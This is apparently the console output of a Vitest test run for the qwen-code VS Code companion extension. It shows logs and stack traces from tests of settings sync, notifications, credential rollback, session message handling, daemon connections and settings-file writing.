stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider settings sync > only syncs non-secret VS Code settings from ~/.qwen/settings.json
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider settings sync > reacts to auth-related qwen-code setting changes
[WebViewProvider] Auth-related qwen-code settings changed by user, syncing...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider settings sync > clears persisted credentials and disconnects when apiKey is emptied
[WebViewProvider] Auth-related qwen-code settings changed by user, syncing...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider settings sync > clears persisted credentials and disconnects when apiKey is emptied
[WebViewProvider] apiKey cleared — de-authenticating and clearing persisted credentials
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider settings sync > does not de-auth when non-apiKey auth settings change on an api-key provider
[WebViewProvider] Auth-related qwen-code settings changed by user, syncing...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider initial model inheritance > applies the requested initial model after creating a new session
[WebViewProvider] Initializing with new session (skipping restoration)
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider initial model inheritance > applies the requested initial model after creating a new session
[WebViewProvider] ACP session created successfully
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider initial model inheritance > applies the requested initial model after creating a new session
[WebViewProvider] Initializing empty conversation
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider initial model inheritance > applies the requested initial model after creating a new session
[WebViewProvider] Empty conversation initialized: [1mnull[22m
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > shows orange dot and notification when a long task completes while panel is not active
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > shows orange dot and notification when a long task completes while panel is not active
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not show notification for short tasks (< 20s)
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not show notification for short tasks (< 20s)
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not show notification when user is watching the panel
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not show notification when user is watching the panel
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > shows blue dot and notification for permission requests when panel is not active
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > shows blue dot and notification for permission requests when panel is not active
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > blue dot takes priority over orange dot
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > blue dot takes priority over orange dot
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not send duplicate idle notifications for multi-turn tasks
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not send duplicate idle notifications for multi-turn tasks
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not show idle notification for background notification turns
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not show idle notification for background notification turns
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not notify when notifications setting is disabled
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not notify when notifications setting is disabled
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > cancellation resets agentStartTime so the next short task does not trigger phantom notification
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > cancellation resets agentStartTime so the next short task does not trigger phantom notification
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not show dot when dotIndicator setting is disabled
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > does not show dot when dotIndicator setting is disabled
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > notifies when VS Code is focused but panel is not visible
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > notifies when VS Code is focused but panel is not visible
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > notifies when VS Code is not focused but panel is visible
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > notifies when VS Code is not focused but panel is visible
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > shows blue dot and notification for askUserQuestion when panel is not active
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
[WebViewProvider] Syncing ~/.qwen/settings.json → VSCode settings
stdout | src/webview/providers/WebViewProvider.test.ts > Notification & dot indicator > shows blue dot and notification for askUserQuestion when panel is not active
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.handleAuthInteractive credential rollback > restores the snapshot when the reconnect leaves authState !== true
[WebViewProvider] authInteractive: provider=deepseek, host=api.deepseek.com
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.handleAuthInteractive credential rollback > disconnects the agent after rolling back rejected credentials
[WebViewProvider] authInteractive: provider=deepseek, host=api.deepseek.com
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.handleAuthInteractive credential rollback > does NOT restore when the reconnect authenticates (authState === true)
[WebViewProvider] authInteractive: provider=deepseek, host=api.deepseek.com
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.handleAuthInteractive credential rollback > swallows a rollback write failure so the authError message still sends
[WebViewProvider] authInteractive: provider=deepseek, host=api.deepseek.com
stderr | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.handleAuthInteractive credential rollback > swallows a rollback write failure so the authError message still sends
[WebViewProvider] settings rollback failed: Error: EPERM: rename failed
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.test.ts:2001:13
at mockCall (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/spy[24m/dist/index.js:96:15)
at spy (file:///build/qwen-code/src/qwen-code/node_modules/[4mtinyspy[24m/dist/index.js:47:103)
at safeRollback [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.ts:1416:9[90m)[39m
at WebViewProvider.handleAuthInteractive [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.ts:1468:9[90m)[39m
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.test.ts:2017:5
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.handleAuthInteractive credential rollback > rolls back + disconnects + reports authError when doInitializeAgentConnection throws (outer catch)
[WebViewProvider] authInteractive: provider=deepseek, host=api.deepseek.com
stderr | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.handleAuthInteractive credential rollback > rolls back + disconnects + reports authError when doInitializeAgentConnection throws (outer catch)
[WebViewProvider] authInteractive failed: Error: disk exploded mid-reconnect
at WebViewProvider. [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.test.ts:2054:13[90m)[39m
at WebViewProvider.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/spy[24m/dist/index.js:96:15)
at WebViewProvider.spy [as doInitializeAgentConnection] (file:///build/qwen-code/src/qwen-code/node_modules/[4mtinyspy[24m/dist/index.js:47:103)
at WebViewProvider.handleAuthInteractive [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.ts:1453:18[90m)[39m
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.test.ts:2057:5
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
[WebViewProvider] settings rollback failed: Error: EPERM: rename failed
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.test.ts:2001:13
at mockCall (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/spy[24m/dist/index.js:96:15)
at spy (file:///build/qwen-code/src/qwen-code/node_modules/[4mtinyspy[24m/dist/index.js:47:103)
at safeRollback [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.ts:1416:9[90m)[39m
at WebViewProvider.handleAuthInteractive [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.ts:1490:7[90m)[39m
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/providers/WebViewProvider.test.ts:2057:5
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
✓ src/webview/providers/WebViewProvider.test.ts (51 tests) 6489ms
✓ WebViewProvider.attachToView > configures sidebar views with workspace/temp roots and resolves image paths through the attached webview 411ms
✓ WebViewProvider.handleAuthInteractive credential rollback > restores the snapshot when the reconnect leaves authState !== true 422ms
✓ WebViewProvider.handleAuthInteractive credential rollback > disconnects the agent after rolling back rejected credentials 355ms
✓ WebViewProvider.handleAuthInteractive credential rollback > does NOT restore when the reconnect authenticates (authState === true) 348ms
✓ WebViewProvider.handleAuthInteractive credential rollback > swallows a rollback write failure so the authError message still sends 921ms
✓ WebViewProvider.handleAuthInteractive credential rollback > rolls back + disconnects + reports authError when doInitializeAgentConnection throws (outer catch) 387ms
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > does not create conversation state or send an empty prompt when all pasted images fail to materialize
[SessionMessageHandler] handleSendMessage called { textLength: [33m0[39m, attachmentCount: [33m1[39m }
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > does not create conversation state or send an empty prompt when all pasted images fail to materialize
[SessionMessageHandler] Failed to attach the pasted image. Nothing was sent. Please paste the image again.
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > sends formatted prompt text so session restore can reconstruct pasted images
[SessionMessageHandler] handleSendMessage called { textLength: [33m6[39m, attachmentCount: [33m1[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > sends formatted prompt text so session restore can reconstruct pasted images
[SessionMessageHandler] No active conversation, creating one...
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > sends image file context as prompt image blocks
[SessionMessageHandler] handleSendMessage called { textLength: [33m11[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > keeps the conversation store aligned with the ACP session id before editing
[SessionMessageHandler] handleSendMessage called { textLength: [33m12[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > keeps the conversation store aligned with the ACP session id before editing
[SessionMessageHandler] No active conversation, creating one...
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > keeps the conversation store aligned with the ACP session id before editing
[SessionMessageHandler] handleSendMessage called { textLength: [33m13[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > does not switch to a colliding ACP session id when rename fails
[SessionMessageHandler] handleSendMessage called { textLength: [33m12[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > does not switch to a colliding ACP session id when rename fails
[SessionMessageHandler] No active conversation, creating one...
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > does not switch to a colliding ACP session id when rename fails
[SessionMessageHandler] Failed to align conversation store with ACP session id: conversation-1 session-1
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > syncs ACP session id alignment through the owning router setter
[SessionMessageHandler] handleSendMessage called { textLength: [33m12[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > syncs ACP session id alignment through the owning router setter
[SessionMessageHandler] No active conversation, creating one...
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > rewinds the active ACP session before sending an edited message
[SessionMessageHandler] handleSendMessage called { textLength: [33m13[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > restores the edited conversation snapshot when replacement send fails
[SessionMessageHandler] handleSendMessage called { textLength: [33m13[39m, attachmentCount: [33m0[39m }
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > restores the edited conversation snapshot when replacement send fails
[SessionMessageHandler] Error sending message: Error: send failed
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/handlers/SessionMessageHandler.test.ts:599:46
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
[90m at processTicksAndRejections (node:internal/process/task_queues:104:5)[39m
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > continues edits with ACP-only rewind when no local snapshot exists
[SessionMessageHandler] handleSendMessage called { textLength: [33m13[39m, attachmentCount: [33m0[39m }
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > continues edits with ACP-only rewind when no local snapshot exists
[SessionMessageHandler] Local conversation snapshot missing before edit; continuing with ACP rewind only.
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > recovers a missing edit snapshot from persisted session messages
[SessionMessageHandler] handleSendMessage called { textLength: [33m13[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > restores the edited conversation snapshot when ACP rewind fails
[SessionMessageHandler] handleSendMessage called { textLength: [33m13[39m, attachmentCount: [33m0[39m }
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > restores the edited conversation snapshot when ACP rewind fails
[SessionMessageHandler] Failed to rewind session: Error: rewind failed
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/handlers/SessionMessageHandler.test.ts:801:48
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
[90m at processTicksAndRejections (node:internal/process/task_queues:104:5)[39m
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > restores store and ACP history when saving the edited user message fails
[SessionMessageHandler] handleSendMessage called { textLength: [33m13[39m, attachmentCount: [33m0[39m }
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > restores store and ACP history when saving the edited user message fails
[SessionMessageHandler] Failed to save user message: Error: storage failed
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/handlers/SessionMessageHandler.test.ts:871:45
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
[90m at processTicksAndRejections (node:internal/process/task_queues:104:5)[39m
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > rejects edit submissions with invalid target turn indexes
[SessionMessageHandler] handleSendMessage called { textLength: [33m13[39m, attachmentCount: [33m0[39m }
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > rejects edit submissions with invalid target turn indexes
[SessionMessageHandler] Invalid message edit target. [33m-1[39m
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > keeps currentConversationId aligned with the archived sessionId when session/load falls back to a new ACP session
[SessionMessageHandler] Switching to session: archived-session
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > keeps currentConversationId aligned with the archived sessionId when session/load falls back to a new ACP session
[SessionMessageHandler] session/load failed, using fallback: Error: session not found on server
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/handlers/SessionMessageHandler.test.ts:957:28
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
[90m at processTicksAndRejections (node:internal/process/task_queues:104:5)[39m
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > forces a fresh ACP session when the webview requests a new session
[SessionMessageHandler] Creating new Qwen session...
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > intercepts /export html and uses the VSCode export flow instead of sending a prompt
[SessionMessageHandler] handleSendMessage called { textLength: [33m12[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > prefers the active ACP session id over the local conversation id when exporting
[SessionMessageHandler] handleSendMessage called { textLength: [33m12[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > reports bare /export as a missing subcommand instead of exporting
[SessionMessageHandler] handleSendMessage called { textLength: [33m7[39m, attachmentCount: [33m0[39m }
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > reports export failures back to the user
[SessionMessageHandler] handleSendMessage called { textLength: [33m10[39m, attachmentCount: [33m0[39m }
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > reports export failures back to the user
[SessionMessageHandler] Failed to export session: Error: disk full
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/webview/handlers/SessionMessageHandler.test.ts:1149:47
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
[90m at processTicksAndRejections (node:internal/process/task_queues:104:5)[39m
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
stdout | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > encodes exported file links before rendering markdown
[SessionMessageHandler] handleSendMessage called { textLength: [33m12[39m, attachmentCount: [33m0[39m }
stderr | src/webview/handlers/SessionMessageHandler.test.ts > SessionMessageHandler > handleSetModel — discontinued model defensive validation (Issue #3745) > rejects a non-runtime Qwen OAuth model and surfaces an error
[SessionMessageHandler] Rejected discontinued model qwen3-coder-plus(qwen-oauth)
✓ src/webview/handlers/SessionMessageHandler.test.ts (24 tests) 1694ms
✓ SessionMessageHandler > restores the edited conversation snapshot when replacement send fails 319ms
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > proceeds with a second connect after the first one fails
[DaemonIdeConnection] Previous connect failed: { error: [32m'first connect failed'[39m }
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > sends prompts through the bound daemon session
[DaemonIdeConnection] Sending prompt: { sessionId: [32m'session-1'[39m }
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > sends prompts through the bound daemon session
[DaemonIdeConnection] Prompt completed: { sessionId: [32m'session-1'[39m, stopReason: [32m'end_turn'[39m }
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > sends prompts through the bound daemon session
[DaemonIdeConnection] Sending prompt: { sessionId: [32m'session-1'[39m }
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > sends prompts through the bound daemon session
[DaemonIdeConnection] Prompt completed: { sessionId: [32m'session-1'[39m, stopReason: [32m'end_turn'[39m }
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > sends prompts through the bound daemon session
[DaemonIdeConnection] Sending prompt: { sessionId: [32m'session-1'[39m }
stderr | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > sends prompts through the bound daemon session
[DaemonIdeConnection] Prompt failed: { sessionId: [32m'session-1'[39m, error: [32m'prompt failed'[39m }
stderr | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > cancels permission requests by default and for reject options
[DaemonIdeConnection] Permission option not advertised; cancelling { requestId: [32m'request-3'[39m, optionId: [32m'stale-option'[39m }
stderr | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > forwards ask-user-question answers and cancels invalid selections
[DaemonIdeConnection] AskUserQuestion option not advertised; cancelling { requestId: [32m'ask-3'[39m, optionId: [32m'stale-option'[39m }
stderr | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > ignores malformed permission events
[DaemonIdeConnection] Malformed permission request data
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > surfaces session_died as a disconnect
[DaemonIdeConnection] Session died: { sessionId: [32m'session-1'[39m, reason: [32m'agent exited'[39m }
[DaemonIdeConnection] Clearing session: { sessionId: [32m'session-1'[39m, reason: [32m'agent exited'[39m }
stderr | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > ignores stale session_died events from another session
[DaemonIdeConnection] Malformed session_died event
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > surfaces event stream failures and normal stream completion
[DaemonIdeConnection] Event stream session: { sessionId: [32m'session-1'[39m }
[DaemonIdeConnection] Clearing session: { sessionId: [32m'session-1'[39m, reason: [32m'daemon_error'[39m }
stdout | src/services/daemonIdeConnection.test.ts > DaemonIdeConnection > surfaces event stream failures and normal stream completion
[DaemonIdeConnection] Clearing session: { sessionId: [32m'session-1'[39m, reason: [32m'stream_ended'[39m }
✓ src/services/daemonIdeConnection.test.ts (19 tests) 1720ms
✓ DaemonIdeConnection > connects through a daemon session factory and forwards session updates 358ms
stderr | src/services/settingsWriter.test.ts > settingsWriter > applyProviderInstallPlanToFile > throws on malformed settings file instead of silently overwriting it
[settingsWriter] Failed to parse /tmp/qwen-vscode-settings-wdjJHf/.qwen/settings.json; refusing to overwrite a malformed file. SyntaxError: Expected ',' or ']' after array element in JSON at position 17 (line 1 column 18)
at JSON.parse ()
at readSettings [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/services/settingsWriter.ts:186:17[90m)[39m
at createFileSettingsAdapter [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/services/settingsWriter.ts:437:14[90m)[39m
at Module.applyProviderInstallPlanToFile [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/services/settingsWriter.ts:546:20[90m)[39m
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/services/settingsWriter.test.ts:283:20
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
stderr | src/services/settingsWriter.test.ts > settingsWriter > snapshotSettingsForRollback / restoreSettingsSnapshot > snapshot returns null on a malformed file and restore is then a no-op
[settingsWriter] Failed to parse /tmp/qwen-vscode-settings-xctA0i/.qwen/settings.json; refusing to overwrite a malformed file. SyntaxError: Expected ',' or ']' after array element in JSON at position 17 (line 1 column 18)
at JSON.parse ()
at readSettings [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/services/settingsWriter.ts:186:17[90m)[39m
at Module.snapshotSettingsForRollback [90m(/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/services/settingsWriter.ts:564:28[90m)[39m
at [90m/build/qwen-code/src/qwen-code/packages/vscode-ide-companion/[39msrc/services/settingsWriter.test.ts:440:24
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
